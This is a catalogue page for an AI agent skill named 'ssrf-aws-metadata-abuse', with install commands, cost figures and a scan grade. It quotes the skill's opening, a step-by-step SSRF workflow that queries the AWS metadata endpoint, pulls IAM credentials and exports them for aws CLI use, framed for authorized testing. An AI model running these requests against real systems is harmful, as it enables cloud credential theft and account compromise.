Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/ssrf-aws-metadata-abuseWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/ssrf-aws-metadata-abuse)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/ssrf-aws-metadata-abuse"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/ssrf-aws-metadata-abuse/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/ssrf-aws-metadata-abuse"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/ssrf-aws-metadata-abuse.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00062 | $0.01182 |
| Opus 5 | $0.00031 | $0.00591 |
| Sonnet 5 | $0.00012 | $0.00236 |
| Haiku 4.5 | $0.00006 | $0.00118 |
Grade B, and why
ssrf-aws-metadata-abuse scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Cloud metadata endpointmediumServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
{"url": "http://169.254.169.254/latest/meta-data/"} Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
How it starts
The opening of the file, as written. The whole thing — 140 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SSRF to AWS Metadata Abuse
When to Use
- When you discover an SSRF vulnerability (a feature that fetches external URLs based on user input) in an application that you suspect or know is hosted on Amazon Web Services (AWS).
- To demonstrate the critical impact of SSRF by escalating from a web vulnerability to full cloud environment compromise via IAM credential theft.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Identifying SSRF
# Concept: The application takes a URL ```
### Phase 2: Querying the AWS IMDS (Instance Metadata Service)
```http
# Concept: AWS instances 1. IMDSv1 (The older, easily exploitable POST /api/fetch-image HTTP/1.1
Host: target.com
{"url": "http://169.254.169.254/latest/meta-data/"}
# Target POST /api/fetch-image HTTP/1.1
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
# Response HTTP/1.1 200 OK
ec2-role-name
Phase 3: Stealing IAM Credentials
# 1. Fetch POST /api/fetch-image HTTP/1.1
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role-name"}
# Response {
"Code" : "Success",
"LastUpdated" : "2023-10-27T01:02:03Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA...",
"SecretAccessKey" : "...",
"Token" : "IQoJb3JpZ2lu...",
"Expiration" : "2023-10-27T07:15:30Z"
}
Phase 4: Abusing the Credentials
# export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="IQoJb3JpZ2lu..."
# aws sts get-caller-identity
aws s3 ls
Decision Point 🔀
flowchart TD
A[Discover SSRF ] --> B{Try IMDS ]}
B -->|Success| C[Extract ]
B -->|Timeout/Block| D[Attempt ]
C --> E[Exploit ]
🔵 Blue Team Detection & Defense
- Enforce IMDSv2: Network Segmentation/Firewalls: Key Concepts | Concept | Description | |---------|-------------|
Output Format
Ssrf Aws Metadata Abuse — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 140 lines · 62 tokens per session scan B fe35de787c66
ssrf-aws-metadata-abuse is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 62 tokens to every session and 1,182 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it B with 1 finding (cloud metadata endpoint). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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